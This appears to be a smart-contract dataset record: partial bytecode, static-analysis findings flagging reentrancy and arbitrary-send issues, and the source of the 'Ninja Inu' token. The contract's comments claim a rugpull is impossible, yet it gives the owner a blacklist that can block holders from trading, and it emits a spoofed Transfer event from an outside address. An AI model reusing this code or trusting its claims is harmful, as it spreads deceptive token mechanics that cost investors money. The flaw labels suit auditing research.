8163ffffffff1660e01b815260040160206040518083038186803b15801561073157600080fd5b505afa158015610745573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076991906112fd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107b157600080fd5b505af11580156107c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e991906112fd565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610819816104dd565b60008061082e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561089157600080fd5b505af11580156108a5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108ca91906113fa565b50506010805469d3c21bcecceda100000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561094457600080fd5b505af1158015610958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097c91906113dd565b5050565b6001600160a01b0383166109e25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610370565b6001600160a01b038216610a435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610370565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610370565b6001600160a01b03831660009081526006602052604090205460ff1615610b2c57600080fd5b6001600160a01b0383163014610bc557600a54600c55600b54600d556000610b53306104dd565b601054909150600160a81b900460ff16158015610b7e57506010546001600160a01b03858116911614155b8015610b935750601054600160b01b900460ff165b15610bc3578015610ba757610ba781610cee565b4767016345785d8a0000811115610bc157610bc147610c30565b505b505b6000546001600160a01b0384811691161415610be6576000600d819055600c555b610bf1838383610e77565b505050565b60008184841115610c1a5760405162461bcd60e51b81526004016103709190611428565b506000610c27848661157c565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561097c573d6000803e3d6000fd5b6000600854821115610cd15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610370565b6000610cdb610e82565b9050610ce78382610ea5565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d3657610d366115a9565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610d8a57600080fd5b505afa158015610d9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc291906112fd565b81600181518110610dd557610dd56115a9565b6001600160a01b039283166020918202929092010152600f54610dfb9130911684610980565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e349085906000908690309042906004016114b2565b600060405180830381600087803b158015610e4e57600080fd5b505af1158015610e62573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610bf1838383610ee7565b6000806000610e8f610fde565b9092509050610e9e8282610ea5565b9250505090565b6000610ce783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611022565b600080600080600080610ef987611050565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f2b90876110ad565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610f5a90866110ef565b6001600160a01b038916600090815260026020526040902055610f7c8161114e565b610f868483611198565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fcb91815260200190565b60405180910390a3505050505050505050565b600854600090819069d3c21bcecceda1000000610ffb8282610ea5565b8210156110195750506008549269d3c21bcecceda100000092509050565b90939092509050565b600081836110435760405162461bcd60e51b81526004016103709190611428565b506000610c27848661153b565b600080600080600080600080600061106d8a600c54600d546111bc565b925092509250600061107d610e82565b905060008060006110908e878787611211565b919e509c509a509598509396509194505050505091939550919395565b6000610ce783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bf6565b6000806110fc8385611523565b905083811015610ce75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610370565b6000611158610e82565b905060006111668383611261565b3060009081526002602052604090205490915061118390826110ef565b30600090815260026020526040902055505050565b6008546111a590836110ad565b6008556009546111b590826110ef565b6009555050565b60008080806111d660646111d08989611261565b90610ea5565b905060006111e960646111d08a89611261565b90506000611201826111fb8b866110ad565b906110ad565b9992985090965090945050505050565b60008080806112208886611261565b9050600061122e8887611261565b9050600061123c8888611261565b9050600061124e826111fb86866110ad565b939b939a50919850919650505050505050565b600082611270575060006103ae565b600061127c838561155d565b905082611289858361153b565b14610ce75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610370565b6000602082840312156112f257600080fd5b8135610ce7816115bf565b60006020828403121561130f57600080fd5b8151610ce7816115bf565b6000806040838503121561132d57600080fd5b8235611338816115bf565b91506020830135611348816115bf565b809150509250929050565b60008060006060848603121561136857600080fd5b8335611373816115bf565b92506020840135611383816115bf565b929592945050506040919091013590565b600080604083850312156113a757600080fd5b82356113b2816115bf565b946020939093013593505050565b6000602082840312156113d257600080fd5b8135610ce7816115d4565b6000602082840312156113ef57600080fd5b8151610ce7816115d4565b60008060006060848603121561140f57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561145557858101830151858201604001528201611439565b81811115611467576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115025784516001600160a01b0316835293830193918301916001016114dd565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561153657611536611593565b500190565b60008261155857634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561157757611577611593565b500290565b60008282101561158e5761158e611593565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146104da57600080fd5b80151581146104da57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d1b851d49ea53dd82492e92fe261ce888d3f82778d1123f5240ad4731546149464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,788
0x9e2433919313bc69d20b9f862b54b6704d126c3f
/** */ /* Ninja Inu, $NINU Telegram: https://t.me/inuninja Launches in under 48 Hours No presale, public or private No dev tokens, no marketing tokens, developers will be compensated by a small fee on each transaction. Trading will be enabled AFTER liquidity lock, rugpull impossible. Total supply = liquidity = 1,000,000,000,000, initial buy limit = 0.2% of supply, permanent sell limit: 4,000,000,000 . 3% redistribution on every sell 30 seconds cooldown on each buy, 2 minutes cooldown on each sell. */ //SPDX-License-Identifier: Mines™®© pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ninjainu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = 'Ninja Inu'; string private constant _symbol = 'NINU'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 0; _teamFee = 10; if (from != owner() && to != owner() && from != address(this) && to != address(this)) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp, "Cooldown"); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 3; _teamFee = 9; } if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= 4e9 * 10**9); require(cooldown[from] < block.timestamp, "Cooldown"); cooldown[from] = block.timestamp + (2 minutes); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2e9 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd8014610398578063c9567bf9146103af578063d543dbeb146103c6578063dd62ed3e146103ef578063e8078d941461042c5761011f565b8063715018a6146102c55780638da5cb5b146102dc57806395d89b4114610307578063a9059cbb14610332578063b515566a1461036f5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610443565b6040516101469190612fd6565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612b1c565b610480565b6040516101839190612fbb565b60405180910390f35b34801561019857600080fd5b506101a161049e565b6040516101ae9190613158565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612acd565b6104af565b6040516101eb9190612fbb565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612a3f565b610588565b005b34801561022957600080fd5b50610232610678565b60405161023f91906131cd565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612b99565b610681565b005b34801561027d57600080fd5b50610286610733565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612a3f565b6107a5565b6040516102bc9190613158565b60405180910390f35b3480156102d157600080fd5b506102da6107f6565b005b3480156102e857600080fd5b506102f1610949565b6040516102fe9190612eed565b60405180910390f35b34801561031357600080fd5b5061031c610972565b6040516103299190612fd6565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190612b1c565b6109af565b6040516103669190612fbb565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612b58565b6109cd565b005b3480156103a457600080fd5b506103ad610b1d565b005b3480156103bb57600080fd5b506103c4610b97565b005b3480156103d257600080fd5b506103ed60048036038101906103e89190612beb565b610c49565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612a91565b610d92565b6040516104239190613158565b60405180910390f35b34801561043857600080fd5b50610441610e19565b005b60606040518060400160405280600981526020017f4e696e6a6120496e750000000000000000000000000000000000000000000000815250905090565b600061049461048d61130a565b8484611312565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104bc8484846114dd565b61057d846104c861130a565b6105788560405180606001604052806028815260200161386860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061052e61130a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3a9092919063ffffffff16565b611312565b600190509392505050565b61059061130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610614906130d8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61068961130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070d906130d8565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661077461130a565b73ffffffffffffffffffffffffffffffffffffffff161461079457600080fd5b60004790506107a281611d9e565b50565b60006107ef600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e99565b9050919050565b6107fe61130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461088b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610882906130d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4e494e5500000000000000000000000000000000000000000000000000000000815250905090565b60006109c36109bc61130a565b84846114dd565b6001905092915050565b6109d561130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a59906130d8565b60405180910390fd5b60005b8151811015610b1957600160066000848481518110610aad577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b119061346e565b915050610a65565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b5e61130a565b73ffffffffffffffffffffffffffffffffffffffff1614610b7e57600080fd5b6000610b89306107a5565b9050610b9481611f07565b50565b610b9f61130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c23906130d8565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b610c5161130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd5906130d8565b60405180910390fd5b60008111610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1890613078565b60405180910390fd5b610d506064610d4283683635c9adc5dea0000061220190919063ffffffff16565b61227c90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610d879190613158565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e2161130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea5906130d8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611312565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8457600080fd5b505afa158015610f98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbc9190612a68565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561101e57600080fd5b505afa158015611032573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110569190612a68565b6040518363ffffffff1660e01b8152600401611073929190612f08565b602060405180830381600087803b15801561108d57600080fd5b505af11580156110a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c59190612a68565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061114e306107a5565b600080611159610949565b426040518863ffffffff1660e01b815260040161117b96959493929190612f5a565b6060604051808303818588803b15801561119457600080fd5b505af11580156111a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111cd9190612c14565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671bc16d674ec80000601281905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112b4929190612f31565b602060405180830381600087803b1580156112ce57600080fd5b505af11580156112e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113069190612bc2565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990613138565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e990613038565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114d09190613158565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561154d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154490613118565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b490612ff8565b60405180910390fd5b60008111611600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f7906130f8565b60405180910390fd5b6000600a81905550600a600b81905550611618610949565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116865750611656610949565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116be57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116f657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561179f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117a857600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118535750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118a95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118c15750601160179054906101000a900460ff165b156119c057601160149054906101000a900460ff166118df57600080fd5b6012548111156118ee57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061196f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196690613098565b60405180910390fd5b601e4261197c919061328e565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff